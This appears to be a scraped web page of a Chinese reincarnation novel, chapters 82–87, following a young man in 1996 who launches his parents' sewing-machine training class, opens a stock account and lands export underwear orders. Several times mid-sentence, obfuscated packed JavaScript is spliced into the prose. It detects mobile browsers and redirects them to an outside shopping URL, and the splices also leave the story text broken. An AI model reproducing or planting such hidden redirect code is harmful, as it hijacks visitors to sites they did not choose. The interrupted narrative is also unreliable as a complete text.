展雪上次提过之后,他确实想过把一些后世的歌提前注册下来,但后来想想又觉得没必要。那些歌是后来那些创作者灵感和才华的结晶,就该人家去赚那个钱。他一个重活一回的人,靠这个去占人家便宜,没意思。 展雪听完他的话,愣了一会儿:“这首歌……你送给我了?” “可以。反正我以后也不会再唱了,你唱吧。” 展雪盯着他看了一会儿:“上次你不是说,这歌是你一个朋友写的吗?” 韩学涛笑着点头:“是的是的。不过我那个朋友应该还要过个几十年才红,应该不会介意的。” 展雪不满地哼了一声:“你就骗吧。” 第82章 除夕 “小涛,你去门口把鞭炮放了,然后就回来吃饭!”赵秀荣在厨房里喊。 韩德富从沙发上站起来:“我也去,我身上带着烟。” 赵秀荣从厨房探出头:“你去干什么?就你的腿,鞭炮点着了你跑得了么?大过年的别给炸到了!” “你就不能盼我点好的。” “我不盼着你好能跟你说这话?”赵秀荣把手在围裙上擦了擦,“赶紧进来帮我端菜。” 韩学涛从桌上拿起那挂鞭炮,笑着说:“我去放,我去放。” 重生回来的第一个除夕夜,他没想过能这么热闹。 上一世他也回过国,也在国内过过年,但那时候大城市里已经听不见鞭炮声了。父母都不在了,他也没有自己的家,春节过得冷冷清清,甚至比平时还不如。 不像现在——从早上开始,噼里啪啦的鞭炮声就没断过,出门走到哪儿都能看见放炮的小孩,捂着耳朵点引线,点着了撒腿就跑,炸完了又跑回来接着放。 韩学涛拿了根竹竿,把鞭炮挑好挂上去,点着引线,把竹竿伸出去。噼里啪啦的声音炸开来,红色的纸屑飞了一地。旁边一个小胖墩手里攥着一把窜天猴,身边还跟着个扎羊角辫的小女孩,正往这边凑。 韩学涛冲他们喊:“离远点,别崩着了!” 小胖墩不服气,把上衣口袋撩起来晃了晃:“我不怕!我有二踢脚,比你的响!” 韩学涛笑了:“胖哥你厉害,以后这片儿你是老大,好不好?” 小胖墩得意了,拉着小女孩的手:“看到了吗?他怕我们了。走,我们去那边!” 两个小人儿跑远了。韩学涛笑着转过头,看见韩德富站在门口,手里夹着烟,笑眯眯地看着他。不知道为什么,鼻子忽然就是一酸。 年夜饭摆了一大桌,鸡鸭鱼肉全了。赵秀荣还在厨房里忙活,韩德富端着酒杯,已经喝得脸红。 “我这辈子没什么本事。”他看着杯子里的酒,声音有点低,“但是生了一个好儿子。考上重点大学不说,人家上大学都是家里拿学费,我儿子上大学还往家里拿钱。还没毕业正式工作呢,收入就比**这么多年还高了。这辈子有这么个儿子,我是知足了。” 赵秀荣端着最后一盘菜出来,听见这话,瞪了他一眼:“你这话说得还真好意思。当爹的拿儿子的钱,你还拿上瘾了?小涛拿回来的那些钱,一分都不能动,都给他攒着,以后他还要成家、还要立业。” 韩学涛夹了块鱼肉:“妈,我能赚,你们放心花就是了。” “你就安心读书,家里的事不用你管。”赵秀荣把菜放下,“该节省的地方就要节省,细水长流。以后等你要用钱的时候拿不出来,你才知道难受。” 韩德富放下酒杯:“当老子的不能总依靠儿子,这话说得对。我跟那边缝纫机厂已经联系好了,过了年就让他们送货。” 赵秀荣看了韩学涛一眼,有点犹豫:“小涛,你说这事……能行吗?” 韩学涛笑了:“你不信我,还不信我们老师么?这活儿赚不了一辈子,但是赚几年钱还是可以的。” 他给父母出的主意说起来也简单——让母亲去教别人用电动缝纫机做花样。 九六年这会儿,个体裁缝店、小服装厂正慢慢冒出来,会踩老式缝纫机的人多,会用电动缝纫机的人少。会做基本针脚的人多,会做复杂花样的人少。母亲技术好,之前帮冯老师做的那几个花样,拿出去就是样板。让她去教别人,比自己上手做活儿轻松多了,收入也高。 父亲那边也闲不着——电动缝纫机要改装,要维护,要修,他那些电工手艺全能用上。两个人合在一起,一个教技术,一个搞设备,赚双份的钱。几年下来,怎么也能攒下一笔。 赵秀荣听了儿子的话,神情立刻轻松下来。对这个儿子她信服,对儿子的老师那更是一百倍的信心——儿子学校的老师,那可不是小学老师、中学老师,是大学的教授。他们这个年代的人,对知识和权威的推崇,远超以后。 电视里赵忠祥和倪萍的声音响起来,春晚开始了。 韩学涛坐在沙发上看了几眼,直到看完第三个节目,董文华唱的《春天的故事》。然后起来拿饭盒打了几样菜,跟母亲说出去看看同学。 赵秀荣很意外:“你同学?咋的过年还没回家?” “没买着票,只能在学校过。”韩学涛随口编了个理由。 “你这孩子,咋不把同学叫家里来呢!” “不止一个,来家里他们也别扭。我去看一眼就回来。” “去吧去吧。”赵秀荣又拎了一兜水果塞给他,“再带点水果去。” 韩学涛推着自行车出了门。街上到处是鞭炮声,远远近近,此起彼伏,空气里弥漫着**的气味。他骑到南塔桥那片老铁路职工宿舍,在楼下抬头看——二楼那扇窗户亮着灯。 上楼敲门,包丽拉开门,看见他站在外面,眼睛一下子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩学涛没接,用手指点了点那张卡:“这上面多少钱?” “六万七千八。”包丽说,又小声补了一句,“不包括您最早投资我的一万二。” 韩学涛笑了。他把筷子放下,看着她:“包丽,你现在赚的钱足够你自立门户了。还留着我的本金不给我,是什么意思?” 第83章 不赖你的钱,要赖你的人 “韩大哥,不是我想赖你的钱,我是想赖你的人!” 包丽急得脸都红了,话一出口又觉得不对,“不对不对……韩大哥,你别误会,我不是那个意思,哎呀……” 她越说越乱,两只手在胸前搅来搅去,恨不得把自己舌头咬下来。 “我是说……我年纪小,又没上过什么学,小时候一直在发廊里干活,稍微长大一点儿就招待客人,啥也不懂,没什么见识。”她低着头,声音越来越小,“要不是你指点我,我哪里懂什么倒油烟机呀,说不定现在又走到老路上去了呢。钱不钱的有什么要紧,我就愿意跟着韩大哥干。” 韩学涛听完,微微点了点头。 实际上包丽不说后面那一堆话,他也明白。包丽这种行当出来的女孩,他以前接触过很多。发廊女、夜总会的公主,甚至拉斯维加斯俱乐部的**娘——这些女孩绝大多数都攒不下什么钱。看起来大手大脚,胡乱投资,其实都是表象。根本原因在于,钱在她们眼里并不是多重要的东西。她们真正看重的,是能庇护她们的人。 这种故事在小说和历史里比比皆是。青楼名妓倾尽所有资助穷书生赶考——苏小小支持鲍仁,柳如是支持钱谦益,玉堂春资助王景隆,杜十娘怒沉百宝箱……这些名妓,心里都明白一个道理:能庇护她们的,从来不是钱,是人。 包丽小心翼翼地观察他的脸色:“韩大哥,你要是想要钱,那一万二本金我拿给你也行。但你还得当我的投资人,以后还照这个比例分。这是我包丽混社会的原则,谁说也没用!” 韩学涛把那张银行卡往兜里一揣:“好,分红我接了,本金继续投。还照以前的比例分。”他看着她,“抽油烟机的生意还能再做一阵子,但也干不了多久。你把钱攒起来,要干什么,我回头再跟你说。” 包丽大喜过望,整个人都亮起来:“韩大哥,我听你的!你让**啥我就干啥!” 电视里正在唱《珠穆朗玛》,声音高亢辽远,颂赞祖国山河。韩学涛又坐了一会儿,起身回家。 走到楼下,身后楼梯上咚咚咚一阵响,包丽追了下来,手里拎着那个打包好的大肘子,不由分说挂在他自行车把上。 “老张饭馆的肘子!放我那儿吃不了浪费了,你带回去吃!” 韩学涛推辞不过,只好收下。他把寝室的电话号码告诉她:“等我开学,以后有什么事,打这个电话找我。” 包丽摊开手掌,一笔一画记在掌心。韩学涛推着自行车走了,走出好远,回头看见她还站在楼门口,把手举到眼前背那串号码。 ...... 春节过后,企业开工了,学校还没开学。韩学涛骑上自行车,去找胶鞋厂的厂长牛援朝。 要办缝纫机培训班,场地是个问题。他琢磨来琢磨去,想到了胶鞋厂。当初买房子的时候就跟他们打过交道,那几间房的住房证上还盖着他们厂的公章。虽说他们不是鞋厂职工,但多少也算半个关系户。 牛援朝的办公室在厂区深处一栋旧楼里,墙上挂着“质量第一、信誉至上”的标语,红漆已经剥落了大半。他听完韩学涛的来意,愣了半晌:“培训班?教人家用缝纫机?” 他心想,这玩意儿还用教吗?身边认识的家庭妇女,只要不是手脚残疾或者太懒的,哪个不会用? “牛厂长,我们教的不是老式脚踩的,是电动的。”韩学涛解释了一遍电动缝纫机和老式缝纫机的区别,又说主要是教一些复杂的花样工艺,学会了能接服装厂的活儿,收入比在家踩老式机器高不少。 牛援朝听完,似懂非懂地点了点头。他不太明白这玩意儿有什么好学的,但人家要租场地,这他听得懂。 “租场地可以,我们这儿有现成的库房。”他伸出手指,在桌上敲了敲,“但是一租至少一年。不管你培训班干多长时间,这一年的租金都要给到我们厂里。” “那当然,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩学涛和父亲回到家,一进门就看见赵秀荣坐在椅子上,眉头拧着,手里攥着块抹布,桌上干干净净的,她还在那儿来回擦。 “怎么了?”韩学涛问。 赵秀荣把抹布放下,叹了口气:“家里弄那么大阵仗,也不知道招生能不能招得来。” 韩德富换了鞋,往沙发上一坐:“你这瞎担心。小涛他们老师都说没问题,你还有什么担心的!”他嗓门大起来,“现在缝纫机全改好了,你去听听那声,就知道我的技术不是吹的。比那些老娘们脚踩的强一百倍!” “不是技术不技术的问题。”赵秀荣犹豫了一下,“刚才爱萍和她老公来了,说我们办这个班风险太大。现在整体环境不好,那些国营服装厂效益下滑严重。要是效益好,他们还能帮衬帮衬,把厂里的职工派过来学一学。现在——”她摇了摇头,“不可能。” 她顿了顿,声音低下来:“再说,就自家来说,缝个裤子、做件衣服,脚踩的缝纫机就够了。不就是图个节省过日子嘛,电动缝纫机都不需要,哪还用专门花钱来学?” 韩德富张了张嘴,想反驳,又觉得好像有点道理。他点了一根烟,闷闷地抽了一口,眼光朝儿子看过来。 韩学涛笑了笑,拉过一把椅子坐下:“妈,爱萍姐他们的话,听听就算了。就算效益好,国营厂的职工也不会到咱们私人办的地方来学。人家就是客气一下,别往心里去。” 赵秀荣看着他。 “至于招生,您不用担心。”韩学涛说,“我不找国营厂。我找以前像您这样的家庭妇女。” 赵秀荣愣了一下,和韩德富对视一眼,看儿子说得这么笃定,老两口悬着的心放下了一半。 下午,他们把提前印好的招生广告贴了出去。 家属院门口、传达室旁边的公告栏、街道拐角那面墙上,一张贴,围上来不少人看。 韩德富贴完还退后两步,上下打量了一番,觉得位置够显眼,这才满意地走了。 然而两天过去,一个报名的都没有。 韩德富悄悄去看了几回,广告还在,就是没人来问。赵秀荣出去买菜,回来脸色就不太好看,说广告前面围着一帮家庭妇女,在那儿议论纷纷。 “电动缝纫机?那玩意儿能比手工的强?我踩了几十年缝纫机,脚底下有数,电动的能有什么好?” “我一家五口,一年到头做衣服,电动的得费多少电?那电费不要钱啊?” “电动的那都是厂里用的。学这玩意儿又进不了厂,在家改个衣服,脚踩踩就好了,谁会专门买台电动的?” “学费也收得太离谱了。一个月八十?我在家踩一个月缝纫机也挣不了八十啊!” 赵秀荣在外面听了那些人的话,感觉像是自己做了什么亏心事,被人戳了脊梁骨,脸上火辣辣的。 而到了晚上,范爱萍和她老公又来了。 一进门,范爱萍就开了腔:“姨,看到你们在外面贴的广告了。上回我和宏伟那么劝你,你怎么也不听呢!” 赵秀荣没吭声,默默招呼他们坐下,倒茶。 韩德富在旁边坐也不是站也不是,搓了搓手,说:“是小涛他们学校老师交代下来的事情。我们寻思吧,人家是大学教授,都是有知识的人……” “叔啊,这事儿你不能这么看。”范爱萍的老公田宏伟接过话,把茶杯往桌上一放,“这些大学教授有学问不假,但搞经营不一定在行。我们前年调来的厂长,还是高级工程师呢,还不是快把厂子给干黄了?这文凭和职称,搁在赚钱上没用。” 范爱萍在旁边接上:“姨,你们的场地租了要是还没给钱,就赶紧退回来。要是钱交了,就好好协商,能退多少退多少。总比都打水漂了强。” 她探了探身子,“有那钱你还不如投到宏伟他们车间,不说多,一年给你赚个10%还是没问题的。当然,你要信不过我们,钱就直接存银行,一年不也有七个点利息么。” 韩学涛坐在旁边,一直慢悠悠地喝水。他想等范爱萍和她老公把话说完再接茬。听到“一年七个点”,手里的杯子停住了。 把钱存银行,一年有七个点的利息?竟然有这么高的利率? 他猛然想起来——现在这个时间点,正是我国银行利率的分水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428363|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岭。从超高息时代到连续降息的转折点,并且催生了一波暴涨的股市牛市。 那个日子他记得非常清楚,因为那天极其特殊。那时候他在监狱服刑,监狱组织他们看过电视。就在那天的第二天,股市上演了奇迹日。 这眼看,也没有几天了。 第二天早上,韩学涛卡着营业时间到了宁海证券营业部。 还没进门,就听见里面嗡嗡的。推开玻璃门,一股热浪扑面而来——不是空调的暖风,是人挤人攒出来的热气。 交易大厅里黑压压全是人。大屏幕还没亮,黑黢黢地挂在前方,像一块巨大的墓碑。 但股民们已经来了,手里拎着保温杯、塑料袋、布包,三三两两聚在一起。有人靠着墙根抽烟,烟灰直接弹在地上;有人坐在塑料凳上翻报纸,报纸被翻得哗哗响;还有几个人围成一圈,听中间一个戴眼镜的老头讲什么,老头声音不大,周围人听得入神,不时有人点头。 韩学涛站在门口看了一圈,心想这气氛也太狂热了。 九六年是股市的大牛年。从年初开始,指数一路往上冲,引发了全面的狂热。这年头没有手机App,没有电脑联网,看行情只能来营业部——看大屏幕上跳动的数字,看红红绿绿的光。要买卖股票,先填单子,再交给柜员。所以牛市的营业部,每天都被挤得水泄不通。 他挤过人群,找到柜台,一看就傻了眼——开户的地方排着长队,前面少说二十几个人,弯弯曲曲拐了两个弯。有人把单子按在墙上填,有人蹲在地上写,还有个中年妇女把包搁在膝盖上当桌子,一笔一画地描。照这个速度,怕是中午都轮不到她! 正犹豫着,肩膀被人拍了一下。 “哥们儿,要开户?”一个年轻小伙子凑过来,穿着件夹克,头发梳得油光锃亮,手里攥着一沓空白单子,“走内部流程,不用排队,直接上二楼办。” 韩学涛看着他,心想连股票开户都有黄牛了? “多少钱?” 小伙子伸出两根手指,“二十。” 这个价钱可不便宜。韩学涛不想排队,直接点头:“走。” 第85章 我可以帮他们做出来 黄牛带着韩学涛上了二楼,推开走廊尽头的门,里头是个小办公室,比一楼大厅安静不少,但照样有人在排队。 五六个人分散在三张办公桌前,每张桌后都坐着一个穿宁海证券制服的工作人员,正埋头给人开户。靠墙摆了张小桌子,上面搁着台复印机,一个年轻女孩在帮人复印身份证。 带路的黄牛朝队伍指了指,冲韩学涛比了个手势,转身就走了。 韩学涛随便挑了一队站好,前面只有一个中年人。 那人趴在桌上填表,填完一张递给柜员,又拿一张接着填。女柜员跟他有一搭没一搭地闲聊,从股市行情聊到今年分红,又聊到他们单位分房。中年人不紧不慢,女柜员也不催,韩学涛在后面站着,看那中年人磨磨蹭蹭地把表格一张张填完递过去,足足等了二十分钟才轮到他。 “资料带了吗?”女柜员头也没抬。 接过资料,目光在他脸上停了一下,又往下扫,看到职业那一栏时,脸上明显多了几分不耐,把资料往旁边一推,冲复印机那边喊了一声:“小丁,给你个客户。你们一个学校的,学弟。” 她说完便低头整理手里的单子,连个多余的眼神都没给。 小丁从复印机后面探出头来,是个二十出头的姑娘。她接过资料看了一眼,有些惊喜:“还真是宁海大学的。我叫丁瑶,去年毕业的,也是宁海大学。师弟你大几了?”这么帅的师弟,自己在学校的时候怎么没注意到? “大一。”韩学涛在她对面坐下:“以后就麻烦师姐了。” 股票开户能碰到师姐是件好事。这年头买卖股票不方便,认识个营业部的人,以后递单子能省不少时间。别小看那点时间差——后来做高频量化的那些人,为了比别人快零点几秒,直接把服务器托管在交易所机房里。 丁瑶有些惊讶:“大一就做股票了?经管系的?” “地质系的。” 丁瑶:…… 犹豫了一下,她还是问了出来:“师弟,你做股票家里知道吗?” 韩学涛一听就明白了。师姐这是怕他偷偷拿家里的钱出来炒股,说不定连学费都押上了,万一亏了就麻烦大了。还挺认真负责的。 “师姐放心,我炒股的钱不是学费,就是自己小打小闹,锻炼一下。” 丁瑶点点头,心想那应该是平时攒的压岁钱拿来投资了。这样挺好,通过实践学点证券市场的知识,还能积累投资经验。压岁钱嘛,就算亏了风险也不大。 她动作麻利地开好户,又免费送了他一本《股票投资入门》的小册子。 “以后股票买卖不用在大厅填单子,直接打我这个电话。”她写了个号码递过去,“我帮你直接录入电脑系统。” 韩学涛心中一乐—— 有师姐的好处这就来了。在大厅跟那些老头老太太一起填单子挤柜台,那可真是要命。现在有了师姐的内线电话,方便太多了。 他对着丁瑶阳光一笑:“谢谢师姐!” 开户办完,韩学涛问:“师姐,怎么入金?” 丁瑶把笔放下,拿过一张纸边写边解释:“去银行办资金划转,拿着银行盖章的进账单回单,再回到证券公司,到财务柜台把这笔钱充值到你的交易账号里......” 她画了个箭头,指向“财务柜台”三个字。写完抬头看他,又补了一句:“要是觉得麻烦,还有个更快的——去银行取现金,直接拿到财务柜台入金。这样当天就能看到资金到账,不用等银行划转。” 韩学涛听得有点无奈。 在没有银证转账的年代,炒个股是真麻烦,入金还要亲自去银行取现金! 他谢过丁瑶,先去银行办了资金划转,拿着回单又回证券公司给财务柜台。等全部弄完,一个上午就过去了。他匆匆吃了个午饭,下午又骑上自行车出了门,直奔离家最近的宁海市第二针织厂。 先把父母培训班的事情解决了再说。 一连几天,他把宁海市几个国营服装厂跑了个遍。每跑一家,心里就有数一点。包里也积攒了几十张名片。 最后一天,他骑车去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428364|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了最后一个目的地——宁海市第五内衣厂。 厂门口的门卫是个五十来岁的老头,裹着棉大衣坐在传达室里。 韩学涛递了包烟,老头接过来看了眼牌子,拆开抽出一根点上,剩下的往抽屉里一塞,话匣子就打开了。开始给韩学涛透露各种信息,同时把这几天进厂的访客登记拿给他看。 这些信息对他很有用。韩学涛不仅看,而且还抄...... 正抄到一半,一个穿西装的年轻人从厂里急匆匆走出来,三十出头,手里拎着个公文包,一边走嘴里一边嘀咕着什么。 韩学涛这几天跑下来,对这种人不陌生——沿海来的外贸业务员,拿了外贸订单,跑到内地找国营厂拉加工的。他迎上去,笑着搭话:“兄弟,哪儿的单子?” 年轻人抬头看他一眼,脚步慢了下来:“韩国的。怎么,你有门路?” “带样品了吗?”韩学涛问。 年轻人把公文包往胳肢窝下一夹,从里面抽出一张单页样品递过来。 韩学涛接过去看了看,是女士内衣的款式图,英文标注,面料、尺码、工艺要求写得很细。他看完把样品还回去,说:“要求不低,能做的厂家不多,不过我这边有办法。” 年轻人问:“兄弟是哪个厂的?” 韩学涛朝身后第五内衣厂的方向扬了扬下巴:“就这个厂。” 年轻人愣了一下,脸上露出点不以为然的神色:“这个厂?我刚刚跟他们谈过。做不出来。” 韩学涛笑了:“他们做不出来,我可以帮他们做出来。你把订单条件说清楚,回头我去找他们厂长谈。” 年轻人有点被说愣了,上下打量了韩学涛一眼:“兄弟,看着挺年轻的。这行做几年了?” “我不是这行的。”韩学涛说,“不过我家里人做了几十年。” 他看了年轻人一眼,“你只管盯紧钱、盯准质量,这两样不出问题,你就没风险。” 年轻人琢磨了一下,从公文包里掏出一张名片递过来:“石文杰。等你消息。” 第86章 师弟的压岁钱有这么多? 鞋厂家属院门口的公告栏旁边,又贴出了一张招生广告。就在原先那张广告旁边,这次的字比上次大了两号,红纸黑字,远远就能看见。最顶上四个字写得尤其显眼——带单培训。 贴出来没多久,公告栏前又围上了一群家庭妇女。 “电动缝纫机技能培训,合格后发放加工订单,计件结算。培训期满未达到接单要求者,培训费用全额退还。”一个中年妇女念完,扭头看旁边的人,“真的假的?这不就相当于变相招工吗?” “别是骗人的吧?”另一个妇女抱着胳膊,语气里带着怀疑,“哪有这么好的事?学了手艺还给活干,干不好还退钱?” “上面写了,宁海大学技术指导,胶鞋厂场地合作。”有人指着底下的落款,“这看着挺正规的。” “大学和鞋厂,跟缝纫机有什么关系?” “你管他有没有关系,关键是人家说了,学完给活干。计件结算,干多少拿多少。” “我嫂子在纺织厂下岗半年了,一直没找着活。要是这个是真的,倒是条路子。” “你信你去呗。反正我是不信,哪有这种天上掉馅饼的事。” “去看看又不要钱。万一是真的呢?” “就是,去看看呗。” 议论声嗡嗡的,有人摇头走了,有人站在公告栏前犹豫,有人已经开始打听地方了。 这年头,下岗的人多。没下岗的,厂里效益也不行了,工资发不出来,一个月拿个两三百块还得拖。有这么个机会摆在这儿,就算半信半疑,心里也难免动一动。 当天下午,就有人陆陆续续找过来问。培训的场地在胶鞋厂腾出来的那间大库房里,十几台电动缝纫机摆得整整齐齐,灯亮着,机器擦得干干净净。赵秀荣站在门口,有人来问她就给人讲,讲完了带人进去看机器,看样品。有人看了就走,有人站在那儿犹豫半天,有人当场就掏了钱。 一天下来,报了十几个人。 赵秀荣坐在缝纫机旁边,把报名表翻来覆去看了好几遍,脸上的表情从不敢相信变成了又惊又喜。这几天她愁得晚上睡不着觉,场地租了,机器买了,广告贴出去没人来,爱萍两口子又来劝她别干了,她嘴上没说什么,心里急得跟什么似的。结果儿子出去跑了几天,回来就变了样。 “一个月一千多块。”她掰着指头算,“要是一年要是能有四个月开班,投入就差不多回来了。” 压力大减! 韩学涛靠在缝纫机旁边,笑着说:“妈,这算什么,才刚开始。真正的生源还在后头呢。” ... 星期五收盘,宁海证券新民路营业部开周会。 经理坐在长条桌最前面,翻着手里那叠报表。翻到某一页时,他停了停,抬头扫了一圈在座的人,目光落在丁瑶身上。 “这一批社招人员里,丁瑶表现最好。目前来看,是最有可能转正的。” 会议室里安静了一瞬。跟丁瑶一批进来的几个社招经纪人,目光齐刷刷看向她。有人眼里带着羡慕,有人脸上笑着,笑意却没到眼底,还有人的目光从丁瑶脸上滑过去,落在桌面上,嘴角往下撇了撇。 而丁瑶坐在自己的位置上,一脸茫然。 她根本不明白自己为什么突然被表扬了。 宁海证券以前是宁海银行的证券部,今年搞银证分离,才从银行脱离出来。核心员工都有事业编,端着铁饭碗。 而随着股市行情火爆,业务扩张太快,光靠那些有编制的老人不够用,公司开始尝试从社会上招人。丁瑶他们就是第一批社招进来的,一共六个人,三个月前入职。 虽说是社招,但多数人都还是有点银行的关系。只有丁瑶,是因为她的学历和长相被招进来的。三个月下来,她的业绩排在倒数第二。 没垫底是因为她做事勤快,经常帮那些有编制的老员工干活,人家过意不去,就把一些小客户扔给她。 那些客户小到什么程度呢? 绝大多数资金不超过两千块。她手上现在有八个客户,加在一起总资金权益才刚过两万。 两万块,两个万元户,丁瑶挺知足的。 但这显然不足以让营业部老总在会上点名表扬,还说她是唯一可能转正的。这怎么可能? 散会后,丁瑶拿着两根香蕉,跑到财务柜台找陈姐。 “陈姐,我这周业绩有什么变化吗?” 陈姐在电脑上敲了几下,转过来给她看。 “你这周新开了一个客户,入金八万。现在总权益到十万了,到了转正的门槛,不过要维持三个月才算数。” 丁瑶愣住了。 这周她只开了一个新户,就是那个宁海大学的学弟。 他入金了八万? 压岁钱能有这么多? 八万块在丁瑶眼里是个天文数字。 她妈在报社上班,一个月工资四百八。八万块,够她妈不吃不喝干十五年的。八万块的账户在新民路营业部算不上大户,但至少是个中户了。她敢保证,那些老员工要是知道韩学涛能入金八万,绝对不会让给她。 丁瑶站在财务柜台前,一时间有种被馅饼砸中的感觉。 她实习期工资三百,要是能转正,工资就是五百——比妈妈还高了。 心跳开始加快! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428365|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 韩学涛到了内衣厂,轻车熟路地上了三楼,厂长办公室的门开着,胡海燕正坐在办公桌后面看报表。看见他进来,把报表往旁边一推,笑了起来:“小韩来了?我还说你这周该来了。” 这位女厂长五十出头,短发烫着卷,说话爽利。这一周韩学涛已经来过好几趟了,她对这小伙子印象不错,长得精神,说话做事也利落。她靠在椅背上,半开玩笑地说:“毕业来我们厂工作吧。直接进厂办,我们厂女员工多,顺便给你解决个人问题。” 韩学涛也笑了:“胡厂长,你这女儿国我可不敢来。” 他从包里掏出一个大塑料袋,放在桌上。 “样品做好了,拿来给您看看。” 胡海燕看了一眼那个塑料袋,没太在意。 上周韩学涛来找她,说有人能做这批外贸样品,她将信将疑。说实话,她不觉得一个刚办的培训班,一个星期就能做出让韩国客户满意的样品。这种内衣小样看起来简单,其实门道不少。面料有弹性,缝线要平整,蕾丝对花要准,杯型要饱满,车工走线差一点,整件东西就垮了。就算是有经验的缝纫工,没个两三年也摸不透这些窍门。 韩学涛把塑料袋打开,把里面的东西拿出来,递过去。 胡海燕接过来,眼睛一瞅,手顿住了。 是一件文胸,针脚细密匀称,蕾丝花边对得整整齐齐,杯型饱满服帖,和图纸上的要求分毫不差。她翻来覆去看了两遍,抬头看他:“这真是这个星期新做出来的?这批人以前不是熟练工?” “我妈招的这批学员都很熟练,都会用老式脚踩缝纫机,只不过没用过电动的,也不懂得做花样的一些技巧。”韩学涛扛起大旗,“当然,这些技巧也不是白来的,有宁海大学纺织工程系的老师做技术指导。” 胡海燕把样品放下,伸手把桌上那个大塑料袋拉过来,把里面的东西一件一件掏出来,摊在桌上。她一件一件地看,看了大概五六件,点了点头:“别说,质量还真的挺稳定的。” “胡厂长,您可以去我们的培训班看看。这种内衣的花样只是一种技法,我们培训班还有很多种。就算客户提出要求我们暂时满足不了,也还可以找宁海大学的技术支持......”韩学涛笑着蹲下,看着胡海燕,“只要我们合作起来,温州、宁波那边一大批外贸订单,都可以吃下来。到那个时候.....” 胡海燕猛地抬起头,看了他好几秒,语气认真起来:“小韩,你真是给了我惊喜。这事要是成了,我们一个厂子的职工都得感谢你。” 第87章 培训班爆火了 第一批学员全部拿到了订单。 签协议的时候,这些来培训的家庭妇女又惊又喜,半天都没回过神来——还真能赚到钱啊?! 等反应过来,每个人脸上都洋溢着巨大的喜悦。 这批订单做的是韩国内衣。说实话,要求确实比在家里给老公孩子做衣服高得多:针脚要密,线迹要匀,蕾丝对花不能差一丝一毫。 但电动缝纫机用下来,比脚踩的省力多了——脚不用踩,手只管送料,速度稳,针脚匀,做出来的活儿自己看了都满意。 再加上新学的那些花样手法,这种弧形转角怎么走线,那种蕾丝怎么对花,做出来的内衣连自己都觉得漂亮。 “这韩国人是真会穿啊,这玩意儿都能穿出花样来!”有人私下嘀咕。 还有人半开玩笑地说,以后要是宁海商店里有卖,价格不贵的话,自己都想买一套。 这话一出口,几个人都笑起来,有人推了她一把,说你还真想穿啊。 那嫂子也不恼,理直气壮地说:“想穿怎么了?我做都做了,还不能想想了?”笑完了又压低声音,“说实话,我在家里都想偷偷上身试试,又怕我家那个看见,骂我不要脸。” 另一个年纪稍长的接话:“可不是!我家老刘那个榆木脑袋,钱挣不来几个,脑子还封建得要命。我都是趁他不在家的时候,关起门来偷偷摸摸做,跟做贼似的。” “我家那口子不一样。”一个瘦高个女人从样品堆里抬起头,“他看见我做这个,还叫我试试。我倒是愣没敢上身——怕一上身就没法交货了。” 几个人笑成一团。 有人叹口气:“我闺女喜欢得不得了,翻来覆去看了好几遍,说妈这个真好看。我哪敢给她穿,只能说以后买了料子再给你做。” 这些做出来的内衣,她们是真喜欢,但不能留下——那是要交工的订单。 对她们这些下岗职工家庭来说,这订单就是雪中送炭。把学费扣掉,一个人一个月还能净落两百六十块。而且这还只是刚开始,计件活,做熟了只会越来越快,以后一个月挣得,能赶上以前没下岗时候的工资了。 没几天,消息大范围传开,很多下岗的家庭妇女坐不住了。 “那个谁谁谁,去学了几天电动缝纫机,给人家做内衣,一个月挣好几百?以前她技术还不如我呢!” 越来越多的人跑到胶鞋厂那间大库房去打听,说要报名。 但她们来得晚了,得往后排。 培训班已经和第五内衣厂签了培训合作协议,半年之内要轮流培训厂里的女工。内衣厂的女工轮番来学,学完回去上岗,接沿海来的外贸订单。等内衣厂的轮岗培训搞完,才轮得到社会培训,那得排到下半年去了。 